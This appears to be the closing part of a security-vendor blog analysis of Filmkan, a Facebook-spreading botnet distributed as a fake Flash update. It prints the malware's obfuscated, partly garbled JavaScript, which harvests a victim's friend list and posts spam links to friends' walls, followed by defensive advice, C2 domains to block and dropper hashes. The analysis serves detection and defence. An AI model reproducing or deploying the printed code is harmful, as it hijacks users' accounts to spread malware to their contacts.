rastgele(\_0xf983x6) { mtn = \_0x5806\[11\]; ret = \_0x5806\[12\]; for (i = 0; i \< \_0xf983x6; i++) { ret += mtn\[Math\[\_0x5806\[14\]\](Math\[\_0x5806\[13\]\]() \* 57)\]; }; return ret; }; var http = new XMLHttpRequest(); http\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[16\] + profile\_id, false); http\[\_0x5806\[10\]\](); var get = JSON\[\_0x5806\[18\]\](http\[\_0x5806\[17\]\]); var isim = get\[\_0x5806\[19\]\]; function localhost() { var \_0xf983xb = new XMLHttpRequest(); \_0xf983xb\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[20\], true); \_0xf983xb\[\_0x5806\[21\]\] = function() { if (\_0xf983xb\[\_0x5806\[22\]\] == 4 \&\& \_0xf983xb\[\_0x5806\[23\]\] == 200) { var \_0xf983xc = JSON\[\_0x5806\[18\]\](\_0xf983xb\[\_0x5806\[17\]\]); if (\_0xf983xc\[\_0x5806\[24\]\] == \_0x5806\[25\]) { var xmlhttp = new XMLHttpRequest(); var params = JSON\[\_0x5806\[28\]\]({ longUrl: \_0xf983xc\[\_0x5806\[26\]\] + \_0x5806\[27\] + Math\[\_0x5806\[14\]\]((Math\[\_0x5806\[13\]\]() \* 99999) + 1) }); xmlhttp\[\_0x 5806\[9\]\](\_0x5806\[7\], \_0x5806\[29\], true); xmlhttp\[\_0x5806\[32\]\](\_0x5806\[30\], \_0x5806\[31\]); xmlhttp\[\_0x5806\[21\]\] = function() { if (xmlhttp\[\_0x5806\[22\]\] == 4 \&\& xmlhttp\[\_0x5806\[23\]\] == 200) { var \_0xf983xc = JSON\[\_0x5806\[18\]\](xmlhttp\[\_0x5806\[17\]\]); if (\_0xf983xc\[\_0x5806\[33\]\]) { link = \_0xf983xc\[\_0x5806\[33\]\]\[\_0x5806\[36\]\](\_0x5806\[34\], \_ 0x5806\[35\]); }; }; }; var http = new XMLHttpRequest(); http\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[37\], true); http\[\_0x5806\[32\]\](\_0x5806\[30\], \_0x5806\[38\]); http\[\_0x5806\[21\]\] = function() { if (http\[\_0x5806\[22\]\] == 4 \&\& http\[\_0x5806\[23\]\] == 200) { image = http\[\_0x5806\[17\]\]\[\_0x5806\[0\]\](\_0x5806\[39\])\[1\]; arkadaslar(); }; }; http\[\_0x5806\[10\]\](\_0x5806\[40\] + \_0xf983xc\[\_0x5806\[41\]\] + \_0x5806\[42\]); }; xmlhttp\[\_0x5806\[10\]\](params); }; }; \_0xf983xb\[\_0x5806\[10\]\](); }; function arkadaslar() { xmlhttp = new XMLHttpRequest(); xmlhttp\[\_0x5806\[9\]\](\_0x5806\[15\], \_0x5806\[43\] + profile\_id + \_0x5806\[44\] + Math\[\_0x5806\[13\]\](), false); xmlhttp\[\_0x5806\[10\]\] (); if (xmlhttp\[\_0x5806\[22\]\] != 4) {} else { data = eval(\_0x5806\[45\] + xmlhttp\[\_0x5806\[17\]\]\[\_0x5806\[46\]\](9) + \_0x5806\[47\]); if (data\[\_0x5806\[48\]\]) {} else { friends = data\[\_0x5806\[52\]\]\[\_0x5806\[51\]\]\[\_0x5806\[50\]\](function(\_0xf983xe, \_0xf983xf) { return \_0xf983xe\[\_0x5806\[49\]\] - \_0xf983xf\[\_0x5806\[49\]\]; }); }; }; var \_0xf983x10 = new Array(new Array()); var \_0xf983x11 = 0; var \_0xf983x12 = 0; for (var \_0xf983x13 = 0; \_0xf983x13 \< friends\[\_0x5806\[53\]\]; \_0xf983x13++) { if (friends\[\_0xf983x13\]\[\_0x5806\[54\]\] != profile\_id) { \_0xf983x10\[\_0xf983x12\]\[\_0xf983x11\] = \_0x5806\[55\] + \_0xf983x11 + \_0x5806\[56\] + friends\[\_0xf983x13\]\[\_0x5806\[54\]\]; \_0xf983x11++; if (\_0xf983x11 \>= 20) { \_0xf983x11 = 0; \_0xf983x12++; \_0xf983x10\[\_0xf983x12\] = new Array(); }; }; }; var \_0xf983x14 = \_0x5806\[12\]; for (var \_0xf983x13 = 0; \_0xf983x13 \< \_0xf983x10\[\_0x5806\[53\]\]; \_0xf983x13++) { for (var \_0xf983x15 = 0; \_0xf983x15 \< \_0xf983x10\[\_0xf983x13\]\[\_0x5806\[53\]\]; \_0xf983x15++) { \_0xf983x14 += \_0xf983x10\[\_0xf983x13\]\[\_0xf983x15\]; }; var \_0xf983xb = new XMLHttpRequest(); var params = \_0x5806\[57\] + config; params += \_0x5806\[58\]; params += \_0x5806\[59\]; params += \_0x5806\[60\]; params += \_0x5806\[61\]; params += \_0x5806\[62\] + profile\_id; params += \_0x5806\[63\]; params += \_0x5806\[64\]; params += \_0x5806\[65\]; params += \_0x5806\[66\]; params += \_0x5806\[67\]; params += \_0x5806\[68\] + link; params += \_0x5806\[69\] + link; params += \_0x5806\[70\] + link; params += \_0x5806\[71\]; params += \_0x5806\[72\] + isim; params += \_0x5806\[73\];74\] + image; params += \_0x5806\[75\]; params += \_0x5806\[76\]; params += \_0x5806\[77\]; params += \_0x5806\[78\] + link; params += \_0x5806\[79\]; params += \_0x5806\[80\]; params += \_0x5806\[81\]; params += \_0x5806\[82\]; params += \_0x5806\[83\]; params += \_0x5806\[84\]; params += \_0x5806\[85\]; para 46dms += \_0x5806\[86\]; params += \_0x5806\[87\] + link; params += \_0x5806\[88\]; params += \_0x5806\[89\]; params += \_0x5806\[90\]; params += \_0x5806\[91\]; params += \_0x5806\[92\]; params += \_0x5806\[93\]; params += \_0x5806\[94\]; params += \_0x5806\[95\]; params += \_0x5806\[96\]; params += \_0x5806\[97\]; params += \_0xf983x14; paams += \_0x5806\[98\]; params += \_0x5806\[99\]; params += \_0x5806\[100\]; params += \_0x5806\[101\]; params += \_0x5806\[102\]; params += \_0x5806\[103\]; params += \_0x5806\[104\]; params += \_0x5806\[105\]; params += \_0x5806\[106\]; params += \_0x5806\[107\]; params += \_0x5806\[108\]; params += \_0x5806\[109\]; params += \_0x5806\[110\]; params += \_0x5806\[111\]; params += \_0x5806\[112\]; params += \_0x5806\[113\] + profile\_id; params += \_0x5806\[114\]; params += \_0x5806\[115\]; params += \_0x5806\[116\]; params += \_0x5806\[117\]; params += \_0x5806\[118\]; \_0xf983xb\[\_0x5806\[9\]\](\_0x5806\[7\], \_0x5806\[119\] + profile\_id, true); \_0xf983xb\[\_0x 5806\[10\]\](params); var \_0xf983x14 = \_0x5806\[12\]; }; }; tarih = new Date(); if (!localStorage\[\_0x5806\[120\] + profile\_id\] || (localStorage\[\_0x5806\[120\] + profile\_id\] \&\& tarih\[\_0x5806\[121\]\]() \>= localStorage\[\_0x58 06\[120\] + profile\_id\])) { tarih\[\_0x5806\[122\]\](tarih\[\_0x5806\[121\]\]() + 1000 \* 60 \* 40); localStorage\[\_0x5806\[120\] + profile\_id\] = tarih\[\_0x5806\[121\]\](); localhost(); }; } |

### Protection Against Filmkan

Filmkan does not exploit any software vulnerabilities and thus far has relied on social engineering to infect users. Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.

Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker. These domains are the primary weakness of Filmkan, as shutting all three of them down simultaneously would remove the attackers access to the botnet.

* filmver.com
* pornokan.com
* neran.net

Thus far, WildFire has automatically identified Filmkan droppers with the following MD5 hashes:

* 417a4e511b5e545c7ca291bc0cce07ba
* 5c2fa20538ddeaa51d4926f848077eed
* 2b7b5e29892e337ab33da34d9c157904
* 153648a45acce90bfdf025d741551048
* 1028c910bf1ad2c2c168ca87927063f2
* f9b19fc9cacaf8aeee52dbe8004b58f7
* ed216da31992540897d3bb3b2043482f
* 1fa02f74b4a5aca28aabbd908dfe5726
* d2c9c770f15093b8ba9f045d99154e50
* 5dafa69051a4f13b204db38d0ffcad5e
* 877648fccf8334230c1d601068939003
* fd34c0f5b3a9cd9c41964a8808ea0f5a
* 4e56b2d83913d9ad904aef12ded609a6
* 2c4bc730f6c644adf21c58384340bf2e
* cdcc132fad2e819e7ab94e5e564e8968
* 787c710de749b2122a08c907b972f804
* 90d761bc351107bb17c34787df8d6e1e
* 6ae4da20732ec857df06d860a669c538
* 3192a69f3fa8607f65b4182ec21f13dd
* f1f6b616ce9b4067ce11fc610af2c631
* 04eaec8ede8bfb00eadbebd9d8d11686
* c1e0316109febbef60c4d7c44357a5d5
* a24bab7b2c69672ee6ffc7451f61e495
* c7fa3651b5f5ec390f9223648aae485b
* e6d884d39bd4b4cbd1fea96bfa613afd
* a0740e7317eddd47e535fd71b11874b6
* 59424fa04bb09030c83c19539a299eec
* 4908c5c2fcc75330ffd05461bbd207fd
* abbe325c98aaca9f878c42f0ef4e850e
* dbabc3c28cf05310051879b938b20e6b
* df1cf305f3d9dfa38991b20f31468f20
* ac97ffd114fe251e0fd03436f7caaaf2
* a2722a389a8adff57cb1b4406f968312
* c08fd88643b0bebec428b04debfc0762
* 4d72ce68998aa816b19573b74672b795
* 060df3a1a3df7da258d674f15b17e7b9
* 36ad93a8c46de731545bfeb5694b446d
* 344ea3db8cddf4f6cbe9dbee36850e0e
* cf693e029b68e01e7585ea5fe446c812
* d3324773197893bdb796dbacdd4a54ec
* 4718e54bee474ddb42f230a4326e6678
* ff4afca6cb9b108111a902d8d4b73301
* 85c199554b0b4b25516b27f5f2705ec1
* 1e3d6ddd804e52b3123d295bf57be71f
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### Tags

* [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet")
* [Facebook](https://unit42.paloaltonetworks.com/tag/facebook/ "Facebook")
* [Filmkan](https://unit42.paloaltonetworks.com/tag/filmkan/ "Filmkan")
* [Google Chrome](https://unit42.paloaltonetworks.com/tag/google-chrome/ "Google Chrome")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Analysis: CryptoWall 3.0, Dyre and I2P](https://unit42.paloaltonetworks.com/analysis-cryptowall-3-0-dyre-i2p/ "Analysis: CryptoWall 3.0, Dyre and I2P")

### Related Articles

* [Pass the Passkey: A Novel Attack Surface in Passwordless Authentication](https://unit42.paloaltonetworks.com/passwordless-authentication-security-risks/ "article - table of contents")
* [A Deep Dive Into Attempted Exploitation of CVE-2023-33538](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/ "article - table of contents")
* [Google Cloud Authenticator: The Hidden Mechanisms of Passwordless Authentication](https://unit42.paloaltonetworks.com/passwordless-authentication/ "article - table of contents")

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[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) September 16, 2026 [#### Atomic macOS (AMOS) Stealer Activity](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/)

* [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS")

* [Threat intelligence](https://unit42.paloaltonetworks.com/tag/threat-intelligence/ "threat intelligence")

* [Unit 42](https://unit42.paloaltonetworks.com/tag/unit-42/ "Unit 42")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/ "Atomic macOS (AMOS) Stealer Activity")  
  ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

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  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

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  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")

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